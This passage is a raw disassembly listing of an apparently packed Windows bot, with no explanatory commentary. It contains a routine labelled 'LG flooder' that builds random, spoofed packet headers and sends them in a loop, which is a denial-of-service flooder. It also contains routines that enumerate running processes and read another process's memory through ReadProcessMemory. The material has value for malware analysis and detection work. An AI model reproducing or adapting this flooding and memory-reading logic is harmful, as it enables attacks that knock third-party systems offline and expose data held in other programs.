loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------


loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax


loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41F018
		call	ds:dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	ds:dword_417238	; ntohs
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	ds:dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: UPX0:004168C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E380
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	ds:dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41E37C, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41E370, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41E374, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	ds:dword_417058	; GetProcAddress
		mov	ds:dword_41E378, eax
		cmp	ds:dword_41E37C, 0
		jz	short locret_40603F
		cmp	ds:dword_41E370, 0
		jz	short locret_40603F
		cmp	ds:dword_41E374, 0
		jz	short locret_40603F
		cmp	ds:dword_41E378, 0
		jz	short locret_40603F
		mov	ds:byte_41E39C,	1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E380
		call	sub_409C6C
		pop	ecx
		movzx	eax, ds:byte_41E39C
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E380
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	ds:dword_41E37C
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	ds:dword_41E370
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	ds:dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	ds:dword_41E378
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, ds:byte_41DF00
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	ds:dword_41E374
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	ds:dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E380
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E380
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax


loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	ds:dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx


loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	ds:dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	ds:dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	ds:dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	ds:dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
